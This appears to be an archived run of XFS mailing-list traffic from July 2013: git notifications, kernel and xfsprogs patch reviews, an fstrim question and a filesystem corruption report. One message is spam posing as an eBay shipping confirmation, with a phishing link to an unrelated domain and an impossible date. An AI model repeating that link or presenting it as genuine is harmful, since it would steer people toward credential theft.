for-linus-v3.11-rc1-2-12119-g7a378c9 X-Git-Refname: refs/heads/master X-Git-Reftype: branch X-Git-Oldrev: e60896d8f2b81412421953e14d3feb14177edb56 X-Git-Newrev: 7a378c9aeab3782a5f998c17313bc7027cee3454 Message-Id: <20130730181245.C48DF7F3F@oss.sgi.com> Date: Tue, 30 Jul 2013 13:12:45 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, master has been updated 7a378c9 xfs: WQ_NON_REENTRANT is meaningless and going away from e60896d8f2b81412421953e14d3feb14177edb56 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 7a378c9aeab3782a5f998c17313bc7027cee3454 Author: Tejun Heo Date: Tue Jul 30 08:40:26 2013 -0400 xfs: WQ_NON_REENTRANT is meaningless and going away dbf2576e37 ("workqueue: make all workqueues non-reentrant") made WQ_NON_REENTRANT no-op and the flag is going away. Remove its usages. This patch doesn't introduce any behavior changes. Signed-off-by: Tejun Heo Cc: Ben Myers Cc: Alex Elder Cc: xfs@oss.sgi.com Reviewed-by: Ben Myers Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_super.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) hooks/post-receive -- XFS development tree From bpm@oss.sgi.com Tue Jul 30 13:12:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 447B97F52; Tue, 30 Jul 2013 13:12:56 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. for-linus-v3.11-rc1-2-12119-g7a378c9 X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: e60896d8f2b81412421953e14d3feb14177edb56 X-Git-Newrev: 7a378c9aeab3782a5f998c17313bc7027cee3454 Message-Id: <20130730181256.447B97F52@oss.sgi.com> Date: Tue, 30 Jul 2013 13:12:55 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated 7a378c9 xfs: WQ_NON_REENTRANT is meaningless and going away from e60896d8f2b81412421953e14d3feb14177edb56 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 7a378c9aeab3782a5f998c17313bc7027cee3454 Author: Tejun Heo Date: Tue Jul 30 08:40:26 2013 -0400 xfs: WQ_NON_REENTRANT is meaningless and going away dbf2576e37 ("workqueue: make all workqueues non-reentrant") made WQ_NON_REENTRANT no-op and the flag is going away. Remove its usages. This patch doesn't introduce any behavior changes. Signed-off-by: Tejun Heo Cc: Ben Myers Cc: Alex Elder Cc: xfs@oss.sgi.com Reviewed-by: Ben Myers Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_super.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) hooks/post-receive -- XFS development tree From bpm@sgi.com Tue Jul 30 13:13:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4AB7E7CBF for ; Tue, 30 Jul 2013 13:13:49 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9243730408B; Tue, 30 Jul 2013 11:13:45 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 68DCC4266DC; Tue, 30 Jul 2013 13:13:45 -0500 (CDT) Date: Tue, 30 Jul 2013 13:13:45 -0500 From: Ben Myers To: Tejun Heo Cc: linux-kernel@vger.kernel.org, laijs@cn.fujitsu.com, Alex Elder , shli@kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 7/9] xfs: WQ_NON_REENTRANT is meaningless and going away Message-ID: <20130730181345.GO3111@sgi.com> References: <1375188028-11910-1-git-send-email-tj@kernel.org> <1375188028-11910-8-git-send-email-tj@kernel.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1375188028-11910-8-git-send-email-tj@kernel.org> User-Agent: Mutt/1.5.20 (2009-06-14) On Tue, Jul 30, 2013 at 08:40:26AM -0400, Tejun Heo wrote: > Hello, > > Please route this through the subsystem tree. As written in the > description, this shouldn't make any functional difference and just > prepares for the removal of WQ_NON_REENTRANT which is already noop. > > Thanks. > > ------ 8< ------- > dbf2576e37 ("workqueue: make all workqueues non-reentrant") made > WQ_NON_REENTRANT no-op and the flag is going away. Remove its usages. > > This patch doesn't introduce any behavior changes. > > Signed-off-by: Tejun Heo > Cc: Ben Myers > Cc: Alex Elder > Cc: xfs@oss.sgi.com Looks good. Reviewed-by: Ben Myers Applied. From bpm@sgi.com Tue Jul 30 13:51:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 85C017CBF for ; Tue, 30 Jul 2013 13:51:47 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 484DF30408B; Tue, 30 Jul 2013 11:51:47 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 2159A4266DC; Tue, 30 Jul 2013 13:51:47 -0500 (CDT) Date: Tue, 30 Jul 2013 13:51:47 -0500 From: Ben Myers To: Jeff Liu Cc: Josef Bacik , sandeen@redhat.com, linux-btrfs@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: generic/315: allow a little tolerance for our used check Message-ID: <20130730185147.GP3111@sgi.com> References: <1375124156-17620-1-git-send-email-jbacik@fusionio.com> <51F7377A.9090707@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51F7377A.9090707@oracle.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Tue, Jul 30, 2013 at 11:48:10AM +0800, Jeff Liu wrote: > On 07/30/2013 02:55 AM, Josef Bacik wrote: > > > So df in btrfs is tricky at best, and relying on it for accurate information is > > not great, but it's the best way to verify this test. To get around btrfs being > > inconsistent sometimes just use _within_tolerance to check our new df value to > > make sure that our truncate did something. With this patch I no longer see > > transient failures of this test. Thanks, > > > > Signed-off-by: Josef Bacik > > --- > > tests/generic/315 | 3 ++- > > 1 files changed, 2 insertions(+), 1 deletions(-) > > > > diff --git a/tests/generic/315 b/tests/generic/315 > > index 7cfc40d..9c01b5e 100644 > > --- a/tests/generic/315 > > +++ b/tests/generic/315 > > @@ -73,7 +73,8 @@ sync > > > > # Preallocated disk space should be released > > avail_done=`df -P $TEST_DIR | awk 'END {print $4}'` > > -[ "$avail_done" -eq "$avail_begin" ] || _fail "Available disk space ($avail_done KiB)" > > +_within_tolerance "df" $avail_done $avail_begin 1% > > +[ $? -eq 0 ] || _fail "Available disk space ($avail_done KiB) wanted ($avail_begin KiB)" > > Looks good to me. > Reviewed-by: Jie Liu Applied. From tinguely@sgi.com Tue Jul 30 14:10:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D2D217CBF for ; Tue, 30 Jul 2013 14:10:36 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id B02A8304077; Tue, 30 Jul 2013 12:10:33 -0700 (PDT) Message-ID: <51F80FA8.4060304@sgi.com> Date: Tue, 30 Jul 2013 14:10:32 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 48/49] xfs: Add read-only support for dirent filetype field References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-49-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-49-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:25, Dave Chinner wrote: > From: Dave Chinner > > Add support for the file type field in directory entries so that > readdir can return the type of the inode the dirent points to to > userspace without first having to read the inode off disk. > > The encoding of the type field is a single byte that is added to the > end of the directory entry name length. For all intents and > purposes, it appends a "hidden" byte to the name field which > contains the type information. As the directory entry is already of > dynamic size, helpers are already required to access and decode the > direct entry structures. > > Hence the relevent extraction and iteration helpers are updated to > understand the hidden byte. Helpers for reading and writing the > filetype field from the directory entries are also added. Only the > read helpers are used by this patch. It also adds all the code > necessary to read the type information out of the dirents on disk. > > Further we add the superblock feature bit and helpers to indicate > that we understand the on-disk format change. This is not a > compatible change - existing kernels cannot read the new format > successfully - so an incompatible feature flag is added. We don't > yet allow filesystems to mount with this flag yet - that will be > added once write support is added. > > Finally, the code to take the type from the VFS, convert it to an > XFS on-disk type and put it into the xfs_name structures passed > around is added, but the directory code does not use this field yet. > That will be in the next patch. > > Signed-off-by: Dave Chinner > --- > > +static inline int xfs_sb_version_hasftype(struct xfs_sb *sbp) > +{ > + return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5&& > + xfs_sb_has_incompat_feature(sbp, XFS_SB_FEAT_INCOMPAT_FTYPE); > } > This feature should support inode version 2 and 3. --Mark. From s.priebe@profihost.ag Tue Jul 30 14:37:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=unavailable version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 71A967CBF for ; Tue, 30 Jul 2013 14:37:23 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 09363AC005 for ; Tue, 30 Jul 2013 12:37:19 -0700 (PDT) X-ASG-Debug-ID: 1375213036-04bdf02f222599b0001-NocioJ Received: from mail-ph.de-nserver.de (mail-ph.de-nserver.de [85.158.179.214]) by cuda.sgi.com with ESMTP id DBMzA2hxmUtos3YB (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 30 Jul 2013 12:37:18 -0700 (PDT) X-Barracuda-Envelope-From: s.priebe@profihost.ag X-Barracuda-Apparent-Source-IP: 85.158.179.214 Received: (qmail 4646 invoked from network); 30 Jul 2013 21:37:16 +0200 X-Fcrdns: No Received: from fw-office.allied-internet.ag (HELO [10.23.66.100]) (85.158.179.66) (smtp-auth username s.priebe@profihost.ag, mechanism plain) by mail-ph.de-nserver.de (qpsmtpd/0.92) with (AES256-SHA encrypted) ESMTPSA; Tue, 30 Jul 2013 21:37:16 +0200 Message-ID: <51F815EB.9040000@profihost.ag> Date: Tue, 30 Jul 2013 21:37:15 +0200 From: Stefan Priebe User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dave Chinner CC: "xfs@oss.sgi.com" , "xfs-masters@oss.sgi.com" Subject: Re: [xfs-masters] how to use fstrim? References: <51F2BD31.5060301@profihost.ag> <20130727015029.GT13468@dastard> X-ASG-Orig-Subj: Re: [xfs-masters] how to use fstrim? In-Reply-To: <20130727015029.GT13468@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-User-Auth: Auth by s.priebe@profihost.ag through 85.158.179.66 X-Barracuda-Connect: mail-ph.de-nserver.de[85.158.179.214] X-Barracuda-Start-Time: 1375213037 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137445 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Am 27.07.2013 03:50, schrieb Dave Chinner: > On Fri, Jul 26, 2013 at 08:17:21PM +0200, Stefan Priebe wrote: >> Hi, >> >> what is the right way to use fstrim on top of XFS? just doing fstrim >> -v -m 4194304 / >> >> results sometimes (might depend on disk i/o) to hanging tasks and >> stack traces - fstrim needs > 5 min in these cases. > > It does indeed depend on disk IO. XFS walks all the free space and > issues discards on it, so runtime is always O(freespace). And while > it is walking an AG discarding the free space, it will hold the AG > locked so that free space doesn't change. This can hang other > operations for the length of time it takes to discard all the free > space in the AG. > IOWs, the behaviour of fstrim on XFS is entirely dependent on the > speed of the block layer and hardware implementations of discards. Yes OK i understand that but is there any way to prevent getting the whole server crash when I/O is too much? For example splitting whole disk or even AGs into subparts? Or set a timeout for the fstrim command? Greets, Stefan From driftd@bilbo.z-host.com Tue Jul 30 14:42:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.7 required=5.0 tests=HTML_MESSAGE,MIME_HTML_ONLY, XM_PHPMAILER_FORGED autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A07687CBF for ; Tue, 30 Jul 2013 14:42:25 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8CF168F8050 for ; Tue, 30 Jul 2013 12:42:22 -0700 (PDT) X-ASG-Debug-ID: 1375213338-04cb6c2e9f2541a0001-w1Z2WR Received: from bilbo.z-host.com (bilbo.z-host.com [81.94.194.58]) by cuda.sgi.com with ESMTP id psDbteC7BWD9Lzee (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 30 Jul 2013 12:42:20 -0700 (PDT) X-Barracuda-Envelope-From: driftd@bilbo.z-host.com X-Barracuda-Apparent-Source-IP: 81.94.194.58 Received: from driftd by bilbo.z-host.com with local (Exim 4.80.1) (envelope-from ) id 1V4FoI-0003Z3-3E for linux-xfs@oss.sgi.com; Tue, 30 Jul 2013 20:42:18 +0100 Date: Tue, 30 Jul 2013 20:42:18 +0100 To: linux-xfs@oss.sgi.com From: eBay Reply-To: Subject: Shipping confirmation for item eBay 400368206794. Message-ID: <6a5d92962d9ce993d0d5f95d3030ca39@rachel.driftdesignstudios.com> X-ASG-Orig-Subj: Shipping confirmation for item eBay 400368206794. X-Priority: 3 X-Mailer: PHPMailer (phpmailer.sourceforge.net) [version ] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/html; charset="iso-8859-1" X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - bilbo.z-host.com X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [727 32008] / [47 12] X-AntiAbuse: Sender Address Domain - bilbo.z-host.com X-Get-Message-Sender-Via: bilbo.z-host.com: authenticated_id: driftd/only user confirmed/virtual account not confirmed X-Source: /usr/bin/php X-Source-Args: /usr/bin/php /home/driftd/public_html/rachel/ss.php X-Source-Dir: driftdesignstudios.com:/public_html/rachel X-Barracuda-Connect: bilbo.z-host.com[81.94.194.58] X-Barracuda-Start-Time: 1375213339 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA717, BSF_SC7_SA578_TXT, BSF_SC7_SA578b, HTML_MESSAGE, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137445 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_SA717 Custom Rule BSF_SC0_SA717 0.50 BSF_SC7_SA578_TXT Custom Rule SA578_TXT 2.10 BSF_SC7_SA578b Custom Rule SA578b HTML Generator Sample Page

    Dear member,

    Thank you for shopping with us! To help you keep track of your purchases, we are sending you this order update.  Your item 190877559857 has been shipped on 07/39/2013.
    You can track the package from this link:

    http://leheraut.bj/dsr/finish.html?eBay/TrackConfirmActionqtc=1000497010740020743

    Note: Tracking information can take up to 48 hours to be updated online after the order is shipped.


    Best Regards,

    From davej@redhat.com Tue Jul 30 15:26:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CF92C7CBF for ; Tue, 30 Jul 2013 15:26:44 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id AE7A38F8033 for ; Tue, 30 Jul 2013 13:26:41 -0700 (PDT) X-ASG-Debug-ID: 1375216000-04bdf02f2325cc20001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 7wI2NIRHnWUUtwn3 for ; Tue, 30 Jul 2013 13:26:40 -0700 (PDT) X-Barracuda-Envelope-From: davej@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6UKQcF1023419 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 30 Jul 2013 16:26:38 -0400 Received: from gelk.kernelslacker.org (ovpn-113-155.phx2.redhat.com [10.3.113.155]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6UKQWOi004556 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 30 Jul 2013 16:26:38 -0400 Received: from gelk.kernelslacker.org (localhost [127.0.0.1]) by gelk.kernelslacker.org (8.14.7/8.14.5) with ESMTP id r6UKQUf7016551; Tue, 30 Jul 2013 16:26:30 -0400 Received: (from davej@localhost) by gelk.kernelslacker.org (8.14.7/8.14.7/Submit) id r6UKQTjB016550; Tue, 30 Jul 2013 16:26:29 -0400 X-Authentication-Warning: gelk.kernelslacker.org: davej set sender to davej@redhat.com using -f Date: Tue, 30 Jul 2013 16:26:28 -0400 From: Dave Jones To: Dave Chinner Cc: Linux Kernel , xfs@oss.sgi.com Subject: XFS undeletable files. (3.11rc3) Message-ID: <20130730202628.GA16356@redhat.com> X-ASG-Orig-Subj: XFS undeletable files. (3.11rc3) Mail-Followup-To: Dave Jones , Dave Chinner , Linux Kernel , xfs@oss.sgi.com References: <20130712023930.GA6473@redhat.com> <20130725041538.GH13468@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <20130725041538.GH13468@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1375216000 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, Jul 25, 2013 at 02:15:38PM +1000, Dave Chinner wrote: > On Thu, Jul 11, 2013 at 10:39:30PM -0400, Dave Jones wrote: > > Just saw this during boot after an unclean shutdown. It hung afterwards. > > > > [ 97.162665] XFS: Assertion failed: xfs_dir2_sf_lookup(args) == ENOENT, file: fs/xfs/xfs_dir2_sf.c, line: 358 > > [ 97.164646] ------------[ cut here ]------------ > > I just reproduced this by chance. I know exactly what I was doing > when it went bang, so I might be able to reduce it from scattergun > blast testing to be able to reproduce it on demand. I xfs_repair'd that disk a week or so back, and have been fine until today when.. (16:22:57:root@zerosum:tmp.6)# ll ls: cannot access : No such file or directory total 0 ?????????? ? ? ? ? ? ? (16:22:58:root@zerosum:tmp.6)# cd .. (16:23:06:root@zerosum:tmp)# rm -rf tmp.6 rm: cannot remove ‘tmp.6’: Directory not empty (16:23:14:root@zerosum:tmp)# cd - /home/davej/src/trinity/tmp/tmp.6 (16:23:23:root@zerosum:tmp.6)# stat * stat: cannot stat ‘\020’: No such file or directory I don't know if this is residual crap from that first problem that never got fixed up, or something new. Any ideas ? Dave From bpm@sgi.com Tue Jul 30 16:08:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E8DA67CBF for ; Tue, 30 Jul 2013 16:08:40 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 69AF9AC005; Tue, 30 Jul 2013 14:08:37 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 109AD4266DC; Tue, 30 Jul 2013 16:08:37 -0500 (CDT) Date: Tue, 30 Jul 2013 16:08:37 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 23/48] xfsprogs: introduce CRC support into mkfs.xfs Message-ID: <20130730210836.GQ3111@sgi.com> References: <1370564771-4929-1-git-send-email-david@fromorbit.com> <1370564771-4929-24-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1370564771-4929-24-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Jun 07, 2013 at 10:25:46AM +1000, Dave Chinner wrote: > From: Dave Chinner > > Signed-off-by: Dave Chinner > --- > libxfs/xfs_mount.c | 10 +++-- > libxfs/xfs_symlink.c | 4 +- > mkfs/maxtrres.c | 4 +- > mkfs/xfs_mkfs.c | 114 ++++++++++++++++++++++++++++++++++++++++---------- > mkfs/xfs_mkfs.h | 12 +++--- > 5 files changed, 111 insertions(+), 33 deletions(-) > > diff --git a/libxfs/xfs_mount.c b/libxfs/xfs_mount.c > index f66f63d..e7e7445 100644 > --- a/libxfs/xfs_mount.c > +++ b/libxfs/xfs_mount.c > @@ -369,7 +369,8 @@ xfs_sb_to_disk( > > static int > xfs_sb_verify( > - struct xfs_buf *bp) > + struct xfs_buf *bp, > + bool verbose) xfs_sb_verify in userspace and xfs_sb_verify in the kernel both have a boolean arg but they mean different things. Could get confusing. Anyway, looks good. Reviewed-by: Ben Myers From david@fromorbit.com Tue Jul 30 17:20:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5A3437CBF for ; Tue, 30 Jul 2013 17:20:11 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id D0EB2AC006 for ; Tue, 30 Jul 2013 15:20:10 -0700 (PDT) X-ASG-Debug-ID: 1375222804-04cbb02c3e25d460001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id Q3n0hDmla8hBduJe for ; Tue, 30 Jul 2013 15:20:05 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArMEAKM7+FF5LPxHgWdsb2JhbABbgzuCd7Y6hTeBHhcOAQEWJiiCJAEBBAE6HCMFCwgDGAklDwUlAyETiAoFuGUWj2gHhAkDl16BKpNJKg Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail06.adl6.internode.on.net with ESMTP; 31 Jul 2013 07:49:40 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V4IGY-0001q8-7d; Wed, 31 Jul 2013 08:19:38 +1000 Date: Wed, 31 Jul 2013 08:19:38 +1000 From: Dave Chinner To: Mark Tinguely Cc: "Michael L. Semon" , xfs@oss.sgi.com Subject: Re: [PATCH 44/49] xfs: Reduce allocations during CIL insertion Message-ID: <20130730221938.GK13468@dastard> X-ASG-Orig-Subj: Re: [PATCH 44/49] xfs: Reduce allocations during CIL insertion References: <51EEF949.9020104@gmail.com> <51EFD68A.40400@sgi.com> <51F2E011.5020904@gmail.com> <51F2E4DD.4020301@sgi.com> <20130727015822.GV13468@dastard> <51F41250.9010703@sgi.com> <20130728011255.GY13468@dastard> <51F678F4.2020003@sgi.com> <20130730003000.GI13468@dastard> <51F7C03C.8000704@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51F7C03C.8000704@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1375222804 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137450 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jul 30, 2013 at 08:31:40AM -0500, Mark Tinguely wrote: > On 07/29/13 19:30, Dave Chinner wrote: > >On Mon, Jul 29, 2013 at 09:15:16AM -0500, Mark Tinguely wrote: > >>On 07/27/13 20:12, Dave Chinner wrote: > >>>On Sat, Jul 27, 2013 at 01:32:48PM -0500, Mark Tinguely wrote: > >>>>On 07/26/13 20:58, Dave Chinner wrote: > >>>>>On Fri, Jul 26, 2013 at 04:06:37PM -0500, Mark Tinguely wrote: > >>>>>> > >>>>>>I can reproduce a problem in patch 44 too. It takes my copy test 20 > >>>>>>minutes to deplete the log space with patch 44, Same test with patch > >>>>>>43 has been running a day and a half. I do not think that patch 44 > >>>>>>is 100 times faster than patch 43 but I will let patch 43 spin all > >>>>>>weekend on a couple machines to verify that patch 43 does not hang. > >>>>> > >>>>>Details, please. What's your "copy test"? > >.... > >>>>Micheal found the problem using a simple copy, so I am using copy-like test. > >> > >>BTW, the long term run of the copy.pl from bug 922 with patch 43 results: > >> tail 0x601000055d7 > >> grant/reserve 0x60100abb200 > >> ctx t_unit_res 0x834 > >> > >>My log math may be off, tail/reserve diff is 1024, but the CTX holds > >>more than that (2100 bytes). > >> > >>Looking at patch 44, it is the first time we use the calculation for > >>the number of bytes in patch 43. So I am looking at where the new > >>calculation in iop_size differs from the previous len calculation in > >>xlog_cil_prepare_log_vecs(). So far, I am that inode entry is 140 > >>bytes larger with the new calculation (former len 164 vrs new nbytes > >>304 type 123b - non-crc filesystem). > > > >Which size calculation is 